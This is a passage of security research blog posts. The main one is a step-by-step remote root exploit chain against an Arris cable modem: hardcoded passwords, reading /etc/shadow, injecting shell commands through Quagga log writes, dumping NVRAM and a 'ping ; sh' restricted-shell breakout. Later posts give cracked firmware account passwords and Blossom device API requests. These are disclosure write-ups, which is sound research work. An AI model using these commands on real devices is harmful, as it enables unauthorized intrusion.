squashfs-root directory contained within the image: ``` bin etc gw.fsname include linuxrc nvram sbin share tmp var version dev fss hdisk1 lib mnt proc scripts sys usr var.tar vop ``` The default IP address assigned to our Arris modem is 192.168.100.1, which is conveniently routable from networks where the modem is attached. Below is the Nmap output of services listening on the default IP address: ``` # sudo nmap -T5 -sU -sT -p- 192.168.100.1 Nmap scan report for 192.168.100.1 Host is up (0.0053s latency). PORT STATE SERVICE VERSION 80/tcp open http lighttpd 443/tcp open ssl/http lighttpd 2602/tcp open ripd? 8080/tcp open http lighttpd ``` A service listening on port 2602 is usually associated with Quagga. Going back to the squashfs-root directory, if you grep through the content of the file system there are several .conf files containing cleartext passwords. One of the files containing passwords is called zebra.conf. We decided to use this passphrase on the Quagga telnet console. ``` # grep -ri "password" *.conf | more etc/default/ripngd.conf:password JhAkuo18 etc/default/zebra.conf:password JhAkuo18 etc/default/ripd.conf:password JhAkuo18 $ telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. Hello, this is Quagga (version 0.99.16). Copyright 1996-2005 Kunihiro Ishiguro, et al. User Access Verification Password: PROMPT> ``` Entering a '?' at any point gives context-sensitive help text. There are several layers of privilege, though there are no restrictions on elevation - knowing the right commands is enough. Quagga is an open-source routing daemon commonly found in routers, access points, and modems. In this particular case, it has been implemented on the cable modem to facilitate route provisioning from ISP onto the public internet. (Note, we don't think current, default Quagga installs are vulnerable/exploitable; see the advisory.) ``` PROMPT> ? echo Echo a message back to the vty enable Turn on privileged mode command exit Exit current mode and down to previous mode help Description of the interactive help system list Print command list quit Exit current mode and down to previous mode show Show running system information terminal Set terminal line parameters who Display who is on vty PROMPT> enable PROMPT# ? clear Reset functions configure Configuration from vty interface copy Copy configuration debug Debugging functions (see also 'undebug') disable Turn off privileged mode command echo Echo a message back to the vty end End current mode and change to enable mode. exit Exit current mode and down to previous mode help Description of the interactive help system list Print command list logmsg Send a message to enabled logging destinations no Negate a command or set its defaults quit Exit current mode and down to previous mode show Show running system information terminal Set terminal line parameters who Display who is on vty write Write running configuration to memory, network, or terminal PROMPT# configure ? terminal Configuration terminal PROMPT# configure terminal PROMPT(config)# ? access-list Add an access list entry banner Set banner string debug Debugging functions (see also 'undebug') enable Modify enable password parameters end End current mode and change to enable mode. exit Exit current mode and down to previous mode help Description of the interactive help system hostname Set system's network name interface Select an interface to configure ip IP information ipv6 IPv6 information key Authentication key management line Configure a terminal line list Print command list log Logging control no Negate a command or set its defaults password Assign the terminal connection password quit Exit current mode and down to previous mode route-map Create route-map or enter route-map command mode router Enable a routing process service Set up miscellaneous service show Show running system information write Write running configuration to memory, network, or terminal ``` We assert that the service message of the day banner can be abused to allow for arbitrary file reading. We also assert that the logging mechanism can be abused to allow for meaningful writes. Since we have yet to see an embedded device properly segment user privilege, we make these assertions based upon the assumption that the user running the Quagga daemon is root. The combination of these factors can be used to obtain remote command execution on the underlying operating system of the modem. ``` PROMPT(config)# banner motd file ? file Banner from a file PROMPT(config)# log file ? FILENAME Logging filename PROMPT(config)# exit PROMPT# log notifications ? MESSAGE The message to send ``` Reading arbitrary files: ``` PROMPT(config)# banner motd file /etc/shadow # telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. root:$1$xQWhDWOr$FYNAc2DuT2Q45OY7s2R43/:10063:0:99999:7::: User Access Verification Password: ``` The successful response also indicates our assumption is likely correct and that the user root is running the Quagga daemon. By the way, the password for the hash shown above is not too hard to guess. Cracking it is left as an excercise for the reader. Meaningful file writes: ``` PROMPT# configure terminal PROMPT(config)# banner motd file /var/tmp/kore-log.txt PROMPT(config)# log file /var/tmp/kore-log.txt PROMPT(config)# exit PROMPT# log notifications KORELOGIC # telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. 2015/09/10 07:16:50 RIP: KORELOGIC User Access Verification Password: ``` It appears as though we can write files. After further testing, we confirmed that file permissions (and read-only mounted filesystems) heavily restrict the locations where writes are allowed. Getting past the leading date/time prefix prior to attacker input was an initial concern. However, this proved easy to get around with some shell fu. Separately, we had noted the existance of several symlinks within the web root that pointed to writable directories. ``` # ls -la usr/www/*.sh lrwxrwxrwx 1 usr/www/guioff.sh -> /var/tmp/guioff.sh lrwxrwxrwx 1 usr/www/guion.sh -> /var/tmp/guion.sh # cat var/tmp/guion.sh echo 1 > /nvram/8/guiflag # cat var/tmp/guioff.sh echo 0 > /nvram/8/guiflag ``` After reviewing the lighttpd.conf file, we could see there was, in fact, a handler defined for shell scripts. ``` #ARRIS CHANGE BEGIN #### CGI module cgi.assign = ( ".pl" => "/usr/bin/perl", ".cgi" => "/usr/bin/perl", ".sh" => "/bin/sh", "/walk" => "/fss/gw/usr/bin/web2snmp", "/snmpSet" => "/fss/gw/usr/bin/web2snmp", "/snmpGet" => "/fss/gw/usr/bin/web2snmp", "/login" => "/fss/gw/usr/bin/web2snmp", "/backup" => "/fss/gw/usr/bin/web2snmp", "/restore" => "/fss/gw/usr/bin/web2snmp", "/hsd" => "/fss/gw/usr/bin/web2snmp", "/setPassword" => "/fss/gw/usr/bin/web2snmp", # UNIHAN ADD START "/storelog" => "/fss/gw/usr/bin/web2snmp", "/checkPassword" => "/fss/gw/usr/bin/web2snmp" # UNIHAN ADD END ) ``` We knew we could write to the /var/tmp/ directory because we had been previously using it for temporary file storage. Using a simple shell pipe (i.e., '|') to ignore the leading date/time prefix solved the problem of not being able to control log data before our command string. ``` PROMPT# configure terminal PROMPT(config)# log file /var/tmp/guion.sh PROMPT(config)# exit PROMPT# log notifications | `/bin/busybox uname -a >> /var/tmp/shell.txt 2>&1` PROMPT# configure terminal PROMPT(config)# banner motd file /var/tmp/shell.txt ``` Followed by a GET request: ``` GET /guion.sh HTTP/1.1 Host: 192.168.100.1:8080 User-Agent: Mozilla/5.0 Accept: text/plain, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 X-Requested-With: XMLHttpRequest Connection: close ``` And response: ``` HTTP/1.1 200 OK Content-Length: 0 Date: Wed, 09 Sep 2015 20:28:55 GMT Server: lighttpd ``` Now we telnet: ``` $ telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. Linux ARRISGW 2.6.39.3 #1 PREEMPT Thu Nov 6 14:56:21 EST 2014 armv6b GNU/Linux User Access Verification Password: ``` The disclosure process was pretty routine. Along the way, we noticed some other vulnerabilities being dropped that were similiar to ours. Example: [https://w00tsec.blogspot.com/2015/11/arris-cable-modem-has-backdoor-in.html](https://w00tsec.blogspot.com/2015/11/arris-cable-modem-has-backdoor-in.html) Although w00tsec discusses a newer revivision of the firmware, almost everything is applicable. The CGI page where they enable SSH (tech_support_cgi) with mini_cli does not exist in the version we have, that's the only difference we observed though. The w00tsec research team discusses a new attack which partially leverages an older vulnerability relating to the password of the day authentication feature. The seed value used is well known and they were able to make use of this knowledge in their attack against the authentication requirement for tech_support_cgi. This page let them enable the mini_cli shell. It was a good read. We still wanted a full shell though. It would be easy to do from here, but not as fun as leveraging more vulnerabilities to do the same thing. So.. Now we'll combine the discoveries by w00tsec with those of our own and bring a full root shell to the DG1670A/TG1670! First we logged into Quagga: ``` # telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. Hello, this is Quagga (version 0.99.16). Copyright 1996-2005 Kunihiro Ishiguro, et al. User Access Verification Password: PROMPT> enable PROMPT# configure terminal PROMPT(config)# log file /var/tmp/guioff.sh PROMPT(config)# exit ``` Below is a useful symlink we will abuse in our attack to obtain a copy of NVRAM: ``` lrwxr-xr-x 1 ts_report.log.txt -> /var/log/trouble_report.txt ``` We need to obtain NVRAM like so: ``` PROMPT# log notifications | cat /dev/mmcblk0p3 >> /var/log/trouble_report.txt ``` We will need to download trouble_report.txt later. ``` PROMPT# configure terminal PROMPT(config)# log file /var/tmp/guion.sh PROMPT(config)# exit ``` We also set up to start telnetd with the mini_cli shell. This is the same shell w00tsec abuses in their blog. ``` PROMPT# log notifications | /sbin/utelnetd -l /usr/sbin/mini_cli ``` Some clean up: ``` PROMPT# configure terminal PROMPT(config)# log file /var/tmp/kore.log PROMPT(config)# quit ``` Now we can kick off our attack. First we start by executing guioff.sh on the modem so that a copy of NVRAM can be obtained. ``` # curl -v http://192.168.100.1:8080/guioff.sh * Trying 192.168.100.1... * Connected to 192.168.100.1 (192.168.100.1) port 8080 (#0) > GET /guioff.sh HTTP/1.1 > Host: 192.168.100.1:8080 > User-Agent: curl/7.43.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Length: 0 < Date: Sun, 22 Nov 2015 09:01:11 GMT < Server: lighttpd < * Connection #0 to host 192.168.100.1 left intact ``` Next we will wget the NVRAM file from the modem: ``` # wget http://192.168.100.1:8080/ts_report.log.txt --2015-11-22 09:01:44-- http://192.168.100.1:8080/ts_report.log.txt Connecting to 192.168.100.1:8080... connected. HTTP request sent, awaiting response... 200 OK Length: 2097152 (2.0M) [application/octet-stream] Saving to: "ts_report.log.txt" 100%[===========================================>] 2,097,152 1.44MB/s in 1.4s 2015-11-22 09:01:46 (1.44 MB/s) - "ts_report.log.txt" saved [2097152/2097152] ``` A quick file command on the file shows that it is a ext3 filesystem. ``` # file ts_report.log.txt ts_report.log.txt: Linux rev 1.0 ext3 filesystem data (needs journal recovery) # mv ts_report.log.txt nvram.ext3 ``` Now to mount and get the password we need for the mini_cli service: ``` # mkdir nvram; mount -o loop -t ext3 nvram.ext3 nvram/ # ls nvram/ 0 1 2 3 6 8 lost+found mocasave.conf pcd_error_log.txt # cat nvram/1/100 [redacted] ``` Sweet, we got our password. It doesn't follow the same structure as those discussed in the w00tsec research. It looks like our ISP has changed the seed. It is our understanding that ISPs have the ability to change this password on a daily basis if they so desire. In practice though, it has not been our experience that this is the case. We've observed these passwords change in a non-deterministic pattern occuring once every month or so, your ISPs mileage may vary. The information redacted below contains the name of the ISP our target modem is connected to, and IP addresses to their NTP servers. ``` # cat nvram/8/bootfile.xml [redacted] [redacted] false [redacted] [redacted] ``` Anyhow, now we need to start the mini_cli shell. We'll call the guion.sh file which was modified to include commands that will start a telnet service with mini_cli as the shell. ``` # curl -v http://192.168.100.1:8080/guion.sh * Trying 192.168.100.1... * Connected to 192.168.100.1 (192.168.100.1) port 8080 (#0) > GET /guion.sh HTTP/1.1 > Host: 192.168.100.1:8080 > User-Agent: curl/7.43.0 > Accept: */* > ``` It will hang until the shell is closed. Go ahead and telnet to port 23. ``` # telnet 192.168.100.1 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. `!MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM::~ ``!MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM!:~` ~ !MMMMMMMMMMMMMMMMMMMMMMM!:` :~~ :MMMMMMMMMMMMMMMM!~ :~~~~ .:MMMMMMMMMM!:~ ~~~~~~ ..:MMMMMMM!:~` :~~~~~~~ .:MMMMMM:~` ::~~~~~~~~~ .:MMMMM:~ .!!!!!!: ~~~~ ..:MMM:~` .!!!!` ~ ..:MM:~` !!` .:M:~` AA RRRRRRR RRRRRRR III SSSSS AAAA RRRRRRRRR RRRRRRRRR III SSSSSSSSS AAAAAA RRR RRR RRR RRR III SSS SS AAA AAA RRR RRRR RRR RRRR III SSSS AAA AAA RRRRRRRRR RRRRRRRRR III SSSSSS AAAAAAAAAAAA RRR RRR RRR RRR III SSSS AAA AAA RRR RRR RRR RRR III SS SSS AA AA RRR RRR RRR RRR III SSSSSSSSS A A RRR R RRR R III SSSSS Copyright ARRIS Enterprises, Inc. 2014 All rights reserved ``` Here we will input the password obtained from NVRAM: ``` Enter password> [redacted] ``` This spawns the console: ``` Spawning ARRIS Console Firmware Revision: 8.0.124 [cut for length] ``` Next we enter the 'system' sub-menu. ``` [ 1] Console> system ``` Here is where the final payload is delivered. w00tsec shows (in assembly) how the restricted shell can be broken by appending a ; at the end of your restricted command followed by the busybox binary you with to run. ``` [ 2] System> ping ; sh ping -I wan0 ; sh BusyBox v1.19.2 (2014-11-06 15:00:51 EST) multi-call binary. Usage: ping [OPTIONS] HOST BusyBox v1.19.2 (2014-11-06 15:00:51 EST) built-in shell (ash) Enter 'help' for a list of built-in commands. # ``` In order to make exploitation easier, we've written an automated exploit: [kl-arris-dg1670a-remote-root.py](/blog/2016/02/12/hacking-an-arris-cablemodem/kl-arris-dg1670a-remote-root.py) ``` # python kl-arris-dg1670a-remote-root.py --host 192.168.100.1 -------------------------------------------------------------------------------- Arris DG1670A/TG1670 remote root Brought to you by KoreLogic @thatguylevel -------------------------------------------------------------------------------- [+] Testing connectivity to the Quagga service. [+] Connected to Quagga successfully. [+] Testing connectivity to the HTTP service. [+] Connected to HTTP successfully. [+] Getting Password-of-the-Day from NVRAM. [+] Setting up NVRAM attack against environment. [+] Getting NVRAM from HTTP service. [+] Mounting NVRAM partition. [+] Creating nvram/ directory. [+] Got Password-of-the-Day: [redacted] [+] Enabling Arris Mini CLI. [+] Configuring the Arris Mini CLI attack. [+] Started the Arris Mini CLI thread. [+] Sleeping for 10 seconds and triggering shell. [+] Running the poisoned HTTP shell handler. ping ; sh ping -I wan0 ; sh BusyBox v1.19.2 (2014-11-06 15:00:51 EST) multi-call binary. Usage: ping [OPTIONS] HOST BusyBox v1.19.2 (2014-11-06 15:00:51 EST) built-in shell (ash) Enter 'help' for a list of built-in commands. # ``` We notified Arris, who released updated firmware; our ISP has pushed the fix to our devices, but of course YMMV. We tested the file-read and file-write issues against the current release of Quagga and do not think it is affected. You can see more details in the [advisory](/advisories/KL-001-2016-001/) we published. We hope you enjoyed reading this entry and the series overall. Shout out to w00tsec and #io @ Smash the Stack. Continue following our blog (and twitters: @CrackMeIfYouCan and @thatguylevel) for new vulnerabilities and exploitation techniques! Protip: If Quagga isn't running, ask your ISP for a static IP address. --- ## The importance of access to firmware files URL: https://korelogic.com/blog/2015/12/18/the-importance-of-access-to-firmware-files/ Part three of the firmware series explains why access to usable device firmware matters for IoT security research and vulnerability analysis. Published: 2015-12-18 Author: Matt Category: Password Security Tags: vulnerability-research, tools, passwords, iot, web-security Welcome to the third part of our series! Today I hope to spark a conversation amongst the readers about an important topic in a world filled with IoT: access to device firmware. And not just (at best) encrypted opaque blobs provided for device updates, but usable images that can be deconstructed, evaluated, and reconstructed. There are a few categories of devices for which firmware access would apply. These are consumer, enterprise, medical, and military. My coworkers and I have dealt with all of these to varying degrees. You might think military procurement would always include full firmware/source code access; I mean, they'll want to make sure the device is not designed in a way that is counter to their interests in the same way that I want to ensure the same thing when I (and most other people for that matter) also purchase a device. Mumble mumble... What about consumer or enterprise grade devices? Most vendors have some support level (i.e. price point) at which they'll give an enterprise customer access to firmware. But for smaller organizations, or one-off purchases, they are often told what I am as a consumer a majority of the time: "no". In the last two parts of our series, I'll go into deeper thought on firmware access using current and upcoming examples from our vulnerability disclosure program. An advisory for the first example I'll use has been released in coordination with this blog under CVE-2015-2874. The advisory, [KL-001-2015-007.txt](/advisories/KL-001-2015-007/), is for an undocumented account in a portable NAS developed by Seagate. Download URL: [http://www.seagate.com/support/downloads/item/satellite-firmware-master/](http://www.seagate.com/support/downloads/item/satellite-firmware-master/) The firmware of the affected device is designed so that the end user of the device has complete control of the underlying operating system. They have root. While I love this concept for a product, it certainly doesn't mean the product has no faults. An undocumented account is certainly a fault that should be corrected. Seagate quickly acknowledged the account's existence and within a few weeks had produced a patch that removed the account. The account didn't have any privilege, but did allow shell access. The reason I reported it is because from a incident response perspective, it's hard to triage an issue about an account on a device that you didn't know existed. Here is how I found it. I started off by running binwalk: ``` root@itsasmallworld:/tmp# binwalk satellite_firmware_xf_DVT_1.3.7.001.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 POSIX tar archive (GNU) ``` Since this file is in the tar format, I'll use the tar command to extract it. ``` root@itsasmallworld:/tmp# tar xvf satellite_firmware_xf_DVT_1.3.7.001.bin uImage uImage_md5sum_pc rootfs.jffs2 rootfs.jffs2_md5sum_pc ``` After extraction, we're left with a few other files which includes a jffs2 filesystem image. ``` root@itsasmallworld:/tmp# ls rootfs.jffs2 rootfs.jffs2_md5sum_pc satellite_firmware_xf_DVT_1.3.7.001.bin uImage uImage_md5sum_pc ``` We can easily extract the files and directory structure from the image using unjffs2. This application is developed by Craig Heffner of the devttys0.com blog. ``` root@itsasmallworld:/tmp# unjffs2 rootfs.jffs2 jfroot/ FATAL: Module mtdchar not found. Error: Module mtdram is not currently loaded 97280+0 records in 97280+0 records out 49807360 bytes (50 MB) copied, 0.880434 s, 56.6 MB/s JFFS2 image mounted to jfroot/ root@itsasmallworld:/tmp# cd jfroot/ root@itsasmallworld:/tmp/jfroot# ls bin home media sbin sys boot include mnt share tmp dev lib proc srv usr etc linuxrc satellite_app static var ``` Now we'll browse to the /etc directory and review the associated passwd files. ``` root@itsasmallworld:/tmp/jfroot# cd etc root@itsasmallworld:/tmp/jfroot/etc# ls angstrom-version init.d org_passwd rpc autoUpdURL inittab passwd scsi_id.config avahi inputrc passwd- services busybox.links internal_if.conf profile skel dbus-1 ipkg profile.d syslog.conf default iproute2 protocols terminfo device_table issue rS.d timestamp device_table-opkg issue.net rc0.d tinylogin.links fb.modes localtime rc1.d ts.conf filesystems mke2fs.conf rc2.d udev fstab motd rc3.d udhcpc.d group mtab rc4.d udhcpd.conf host.conf network rc5.d udhcpd_factory.conf hostname nsswitch.conf rc6.d version hosts opkg rcS.d root@itsasmallworld:/tmp/jfroot/etc# cat passwd root:VruSTav0/g/yg:0:0:root:/home/root:/bin/sh daemon:*:1:1:daemon:/usr/sbin:/bin/sh bin:*:2:2:bin:/bin:/bin/sh sys:*:3:3:sys:/dev:/bin/sh sync:*:4:65534:sync:/bin:/bin/sync games:*:5:60:games:/usr/games:/bin/sh man:*:6:12:man:/var/cache/man:/bin/sh lp:*:7:7:lp:/var/spool/lpd:/bin/sh mail:*:8:8:mail:/var/mail:/bin/sh news:*:9:9:news:/var/spool/news:/bin/sh uucp:*:10:10:uucp:/var/spool/uucp:/bin/sh proxy:*:13:13:proxy:/bin:/bin/sh www-data:*:33:33:www-data:/var/www:/bin/sh backup:*:34:34:backup:/var/backups:/bin/sh list:*:38:38:Mailing List Manager:/var/list:/bin/sh irc:*:39:39:ircd:/var/run/ircd:/bin/sh gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:*:65534:65534:nobody:/nonexistent:/bin/sh xoFaeS:QGd9zEjQYxxf2:500:500:Linux User,,,:/home/xoFaeS:/bin/sh ``` The xoFaeS user is not discussed in the GoFlex documentation and the hash cracked to etagknil. The root user is documented and the hash cracked to goflex. Here is something interesting about the xoFaeS account: It was the first real _user_ on the system. The UID 500 and generalized account description typically correlate to the first user created after system installation. Between that fact and the quick recognition and removal of the account, I would bet this was merely an accident. But, that's OK! Because Seagate has allows end users to access firmware I was able to discover the account and help ensure it got removed. How about a vendor that doesn't put in that kind of effort? Lets use Linksys as an example. Week one of my series was spent discussing a series of vulnerabilities in the Linksys EA6100 access point. Linksys allows end users to access firmware. They also allow for custom firmware to be installed on many of their devices. However, they weren't exactly responsive to our disclosures. In fact, they didn't respond at all. They eventually violated our disclosure policy through a lack of response and as such we disclosed the vulnerabilities so that end users may take steps to address them on their on. Most of the issues were centered around information being disclosed through a CGI file sysinfo.cgi which returned copious amounts of information about the operation of the device. Since Linksys has an open position on firmware and hardware access, simply removing that CGI file resolved some of the discovered issues. So, we've discussed two devices whose firmware can be easily accessed. Although the vendor response was mixed, ultimately the issues could be addressed on an individual basis. So why wouldn't every device manufacturer take the same position? Maybe you can augment my list, but I've seen a few scenarios. Lets go back to my earlier statement: "I mean, they'll want to make sure it's not designed in a way that is counter to their interests in the same way that I want to ensure the same thing when I purchase a device." Sometimes, devices aren't designed entirely how we perceive them to be. One thing I have come to learn quite well is that when you purchase a device you may or may not be done paying for it. Sometimes a payment isn't money but rather information. What the heck does that mean? Well.. Take the Blossom for example. The Blossom is a relatively cheap device (~$100) that you install on your network and eventually controls the watering of your lawn. I discussed the Blossom in detail in part two of our series but I will quickly re-highlight a passage in their privacy policy that is pretty important to the thesis of this part: ``` What We Collect [snip] We also collect passive information such as your IP address on certain IConservo Products, your ZIP code, as well as information about your IConservo Product such as MAC addresses, product model numbers, software versions, chipset IDs, and region and language settings. Passive information also includes information about the products you request or purchase, the presence of other devices connected to your local network, and the number of users and frequency of use of IConservo Products and Services. We also collect passive information regarding customer activities on our website. Some passive information may be associated with personally identifying information. [snip] Who We Share With We work with third parties in connection with some aspects of the ICONSERVO Products and Services, such as but not limited to processing payments and providing marketing assistance. [snip] ``` So we're back to: "the presence of other devices connected to your local network." Remember, sometimes information is our payment. This type of data collection can be turned around, packaged, and sold to advertisers. Now, that may or may not be the case here. You can decide for yourself based on the full policy located at: [http://myblossom.com/legal/iconservo-privacy-statement/](http://myblossom.com/legal/iconservo-privacy-statement/) This type of approach actually allows manufacturers to make IoT devices at a cheaper price because you're never really done paying for it. This isn't the only reason (I think) I have been told no when requesting firmware for devices I purchase though. Businesses can take an extreme perspective on intellectual property. Should the device have a novel feature there could then be paranoia that the feature may be reverse engineered and suddenly spring up in other devices. I suppose I can be somewhat sensitive to that issue, but I still side with the notion that if I have purchased a device then I should very well be able to inspect that device to whatever degree I determine to be acceptable. What about a device manufacturer hoping to retain security through obscurity by denying firmware access to consumers? How often have we in the industry seen this approach be successful? Join us next time (There may be a small delay in our disclosure process so it likely will not be next week) where we will continue this discussion using that exact argument. Spoiler alert: Denying access doesn't make your device more secure than it already isn't. --- ## Unplugging An IoT Device From The Cloud URL: https://korelogic.com/blog/2015/12/11/unplugging-an-iot-device-from-the-cloud/ Part two of the firmware series examines Blossom, a cloud-connected smart watering device, and the security implications of IoT cloud dependence. Published: 2015-12-11 Author: Matt Category: Malware Analysis Tags: javascript, malware, forensics, passwords, iot Hello again and welcome back. This is part two in our four-part series on firmware and embedded devices. Today, I will be discussing home automation and the Internet of Things (IoT). More specifically, I'll be talking about Blossom. Blossom is a cloud-based smart lawn watering system that will 'automatically' water your lawn. Normally, our goal is to break into the target device so I may inspect running processes and resident binaries to ensure they are not designed to work in ways that are counter to our interests. Today, I won't be doing that. Instead, I am going to observe the functionality of the device and how it interacts with the manufacturers cloud-based API. Then, I'll force network traffic redirection from the device to a server I control. Finally, I will recreate a bare minimum copy of the manufacturer's API available internally so that the device will no longer require internet access for a somewhat normal operation. What does this mean? I am going to write an application to water my lawn, when I want my lawn watered. Why? Because I like the functionality of smart-enabled devices, but I do not like adding network potential pivot points _anywhere_ on my networks. My hope is that this part in our series serves as a soft introduction into the thought process I typically use when removing an unwanted third-party from my networks or even attempting to attack the underlying software of a target device. So, how does the Blossom work? The first thing Blossom asks you to do is move your wiring over to the new system, but I won't cover that. Once you power it up, Blossom will start an Access Point that you can connect to. The access point will be named as such: Blossom-XXXX where 'X' is a four digit number. Once you install the corresponding phone app, it wants you to create an account and input some information about the geographic location where the system resides. In retrospect, since I don't care about managing my lawn settings while say ... traveling or while being down the street at a friends, creating an account and providing said information may be irrelevant. There is also an HTTP portal and API which does not require any of that information. Image The wireless password for every Blossom unit is '12flowers'. Once connected to the Blossom access point, you should visit the default web portal (http://192.168.10.1). The latest Blossom firmware will disable the access point after setup, but it will also disable the web portal and API I use. My advice is to not update the firmware. However, a bug in the older firmware exists where the access point does not get torn down after setup. This was a concern to me as a separate wireless adapter on the Blossom also exists, which is connected to an internet routable network. A security issue in the Blossom web application or WSGI API could result in another easy pivot point. Fortunately, after emailing Blossom's support group they agreed to provide me with a firmware build that would disable the access point while retaining the web server and API. I wish other vendors would be as responsive to my requests. Bravo Blossom! Image Here you can configure a few things within the Blossom. The four main sections within the UI are named: Provisioning, System Info, Advanced, and Blossom. Provisioning allows you to connect Blossom to your wireless access point. System Info displays basic network adapter and operating system information. Advanced allows the wireless access point settings to be changed, firmware to be upgraded, the device can be rebooted, and reset to the factory issued state. The Blossom section allows the user to change the 'Server Group' between Live, Staging, and Test. I haven't tested to see if changing this value alters system settings such as running services. ``` POST /sys/network HTTP/1.1 Host: [redacted] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://[redacted]/ Content-Length: 175 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache {"ssid":"korelogicwashere","security":4,"key":"sillyfuntimes","ip":0,"ipaddr":"192.168.2.2","ipmask":"255.255.255.0","ipgw":"192.168.2.1","ipdns1":"0.0.0.0","ipdns2":"0.0.0.0"} ``` They've tried to hide some non-critical things, but it doesn't seem like they put a lot of effort into it. For example, you can open and close valves artibrarily and also change the LED colors! Their method of hiding the functionality was to comment out the associated javascript which displays that part of the UI. They didn't actually remove the underlying functionality. So if you just view source: Image Example requests for those looked like: For the LED: ``` POST /bloom/led_custom HTTP/1.1 Host: [redacted] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Content-Type: application/json; charset=utf-8 X-Requested-With: XMLHttpRequest Referer: http://[redacted]/ Content-Length: 76 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache {"type":1,"r1":90,"g1":10,"b1":0,"r2":20,"g2":20,"b2":30,"t1":500,"t2":1000} ``` For valve control: ``` POST /bloom/valve HTTP/1.1 Host: [redacted] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Content-Type: application/json; charset=utf-8 X-Requested-With: XMLHttpRequest Referer: http://[redacted]/ Content-Length: 24 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache {"valve":1,"inverter":1} ``` At this point, my dest device is sitting on a rooted Linksys WRT54GL wireless network. Inspecting the traffic is trivial from this position within the network. Even more favorably, there is no encryption between the device and the cloud-based API. As far as the type of information within the network traffic, it's mostly non-sensitive information pertaining to watering schedules, current weather information, etc. However, it does also contain the approximate GPS coordinates and physical address for the device. In my opinion, this traffic probably should be encrypted. I used fake information but have redacted the data shown here so as to not implicate unaffiliated third parties. You know ...just in case. ``` HTTP/1.1 200 OK Allow: GET, POST, PUT, PATCH, HEAD, OPTIONS Content-Type: application/json Date: Thu, 19 Nov 2015 22:58:38 GMT Vary: Accept transfer-encoding: chunked Connection: keep-alive {"latitude": [redacted], "longitude": [redacted], "zones": [{"id": 44318, "name": "Zone 1", "plant_type": 1, "emitter_type": 5, "gets_rainfall": true, "user_watering_modulation": 1.0, "valve": 1, "active": true, "illustration": null, "thumbnail_1": null, "thumbnail_2": null, "thumbnail_3": null, "thumbnail_4": null, "schedule_manual_secs": 180, "auto_scheduling": true, "precipitation_rate": 16.51, "kc": 0.75}, {"id": 44319, "name": "Zone 2", "plant_type": 1, "emitter_type": 5, "gets_rainfall": true, "user_watering_modulation": 1.0, "valve": 2, "active": true, "illustration": null, "thumbnail_1": null, "thumbnail_2": null, "thumbnail_3": null, "thumbnail_4": null, "schedule_manual_secs": 180, "auto_scheduling": true, "precipitation_rate": 16.51, "kc": 0.75}, {"id": 44320, "name": "Zone 3", "plant_type": 1, "emitter_type": 5, "gets_rainfall": true, "user_watering_modulation": 1.0, "valve": 3, "active": true, "illustration": null, "thumbnail_1": null, "thumbnail_2": null, "thumbnail_3": null, "thumbnail_4": null, "schedule_manual_secs": 180, "auto_scheduling": true, "precipitation_rate": 16.51, "kc": 0.75}, {"id": 44321, "name": "Zone 4", "plant_type": 1, "emitter_type": 5, "gets_rainfall": true, "user_watering_modulation": 1.0, "valve": 4, "active": false, "illustration": null, "thumbnail_1": null, "thumbnail_2": null, "thumbnail_3": null, "thumbnail_4": null, "schedule_manual_secs": 180, "auto_scheduling": true, "precipitation_rate": 16.51, "kc": 0.75}, {"id": 44322, "name": "Zone 5", "plant_type": 1, "emitter_type": 5, "gets_rainfall": true, "user_watering_modulation": 1.0, "valve": 5, "active": false, "illustration": null, "thumbnail_1": null, "thumbnail_2": null, "thumbnail_3": null, "thumbnail_4": null, "schedule_manual_secs": 180, "auto_scheduling": true, "precipitation_rate": 16.51, "kc": 0.75}, {"id": 44323, "name": "Zone 6", "plant_type": 1, "emitter_type": 5, "gets_rainfall": true, "user_watering_modulation": 1.0, "valve": 6, "active": false, "illustration": null, "thumbnail_1": null, "thumbnail_2": null, "thumbnail_3": null, "thumbnail_4": null, "schedule_manual_secs": 180, "auto_scheduling": true, "precipitation_rate": 16.51, "kc": 0.75}, {"id": 44324, "name": "Zone 7", "plant_type": 1, "emitter_type": 5, "gets_rainfall": true, "user_watering_modulation": 1.0, "valve": 7, "active": false, "illustration": null, "thumbnail_1": null, "thumbnail_2": null, "thumbnail_3": null, "thumbnail_4": null, "schedule_manual_secs": 180, "auto_scheduling": true, "precipitation_rate": 16.51, "kc": 0.75}, {"id": 44325, "name": "Zone 8", "plant_type": 1, "emitter_type": 5, "gets_rainfall": true, "user_watering_modulation": 1.0, "valve": 8, "active": true, "illustration": null, "thumbnail_1": null, "thumbnail_2": null, "thumbnail_3": null, "thumbnail_4": null, "schedule_manual_secs": 180, "auto_scheduling": true, "precipitation_rate": 16.51, "kc": 0.75}, 